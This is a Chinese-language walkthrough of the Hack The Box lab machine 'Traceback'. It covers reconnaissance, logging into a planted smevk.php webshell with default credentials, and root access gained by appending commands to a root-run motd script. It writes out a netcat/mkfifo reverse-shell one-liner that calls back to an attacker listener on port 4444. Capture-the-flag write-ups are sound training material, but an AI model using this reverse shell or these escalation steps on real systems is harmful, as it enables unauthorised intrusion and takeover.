Hack The Box——Traceback

目錄

簡介

信息收集

漏洞發現與利用

權限提升

獲取sysadmin權限

獲取root權限

總結


簡介

這是一個剛發佈不久的很簡單的靶機,跟着靶機制作者的提示就可以完成。通過網站首頁發現網站被入侵,然後枚舉webshell文件,枚舉webshell的用戶名和密碼,利用webshell獲得交互式shell,接着根據作者的提示獲取到sysadmin用戶的shell,最後在進程中發現以root用戶執行的打印登錄歡迎信息的腳本,通過修改腳本獲得root權限的shell。

信息收集

使用nmap -A --min-rate 10000 -T5 10.10.10.181掃描目標主機,如圖:

目標主機開放了22和80端口,運行着Apache http 2.4.29服務,且目標主機操作系統爲Ubuntu。然後訪問http服務,如圖:

頁面顯示該網站已被入侵,並且在所有網絡都留了後門,照應了主機名稱Traceback,看來需要溯源,但現在還不知道Xh4H是否爲webshell的密碼。在源碼中發現提示,如圖:

使用dirbuster掃描web目錄,查看是否存在webshell,如圖:

沒有發現webshell,嘗試掃描http://10.10.10.181/Xh4H,也未發現存在webshell。使用google搜索註釋發現Github有一個開源WebShells項目,如圖:

漏洞發現與利用

枚舉webshell文件,當訪問smevk.php時發現webshell,如圖:

使用默認用戶名admin和密碼admin登錄成功,如圖:

可以看到內核版本爲4.15.0-58,用戶名爲webadmin,可用的程序有php,perl,nc,wget等,以及網站根目錄。然後使用nc反彈shell(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.216 4444 >/tmp/f),但是不能訪問tty,如圖:

權限提升

在/home目錄下發現sysadmin用戶,如圖:

在webadmin目錄下發現.ssh目錄,luvit,note.txt和一些.lua文件,且luvit文件的所有者和所屬組是sysadmin,其他人具有讀寫權限,如圖:

使用file命令查看luvit文件發現是64位ELF文件,然後執行./luvit --help,如圖:

原來是執行lua腳本的程序,查看note.txt,如圖:

是sysadmin用來練習lua編程的。查看privesc.lua內容發現是寫入sysadmin的ssh認證文件,如圖:

從前面可以看出webadmin用戶對該文件具有讀寫權限,因此可以替換ssh公鑰內容通過luvit運行privesc.lua腳本將ssh公鑰寫入sysadmin的ssh認證文件中,進而獲取sysadmin的權限。

然而沒過多久webadmin目錄下的所有文件都被惡意用戶刪除了,靶機作者也是及時進行了修補。修補之後webadmin目錄下沒有luvit文件了,但是查看用戶sudo權限的時候可以發現luvit所在的位置,如圖:

獲取sysadmin權限

使用ssh-keygen生成無密碼的ssh密鑰對,查看生成的id_rsa.pub文件,如圖:

然後替換privesc.lua文件中的數據,如圖:

在當前shell中修改文件比較麻煩,可以先將/home/webadmin/.ssh/authorized_keys文件替換,如圖:

然後使用ssh登錄到webadmin用戶,在使用nano編輯privesc.lua文件並執行,如圖:

報了很多錯誤,嘗試修改文件打開的方式爲w,還是會報錯,嘗試使用os.execute()寫入,如圖:

然後使用luvit執行privesc.lua腳本,使用ssh連接sysadmin即可,如圖:

在目錄下發現user.txt。然而該shell用起來不怎麼方便,然後使用webadmin的shell查看權限,如圖:

發現sudo命令,ping命令等有root權限,嘗試ping後門未成功。

獲取root權限

然後使用ps -aux查看運行的進程發現數量太多,多次執行發現存在root用戶執行的定時複製命令,如圖:

由於手工監視進程較麻煩,然後使用Github開源項目pspy進行監視進程,在監視過程中發現ssh登錄成功後會以root用戶執行/etc/update-motd.d/下的80-esm等文件,如圖:

查看cp命令的源目錄和目的目錄,發現/etc/update-motd.d/下的文件是sysadmin用戶可以編輯的,而目錄下的文件是shell登錄後的歡迎信息,如圖:

查看00-header文件內容發現這是一個bash腳本,是ssh登錄成功之後的歡迎信息,如圖:

查看其他文件也都爲bash腳本。因此可以在00-header等文件中寫入命令(一定要在定時命令再次執行之前寫入),當ssh登錄成功的時候就會執行寫入的命令,使用echo "id" >>/etc/update-motd.d/00-header將id命令寫入文件,然後使用ssh登錄目標主機,登錄成功後,歡迎信息中成功執行id命令,如圖:

將反彈shell的命令寫入00-header文件,如圖:

然後在本地開啓4444端口監聽,使用ssh連接目標主機,如圖:

在監聽的端口成功反彈回root shell,如圖:

總結

雖然該靶機很簡單,但是仍舊花費了很長時間,主要是該靶機被重置的次數太頻繁了,所以需要重複執行多次之前的步驟,到最後乾脆把命令先寫好然後複製粘貼了。即使這樣都不一定能比得上惡意用戶的速度,而且用戶目錄下所有文件都被刪了。需要重新找luvit程序的路徑。提權過程中使用手工分析太花時間了,還好有pspy的幫助可以加快總體的進度。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章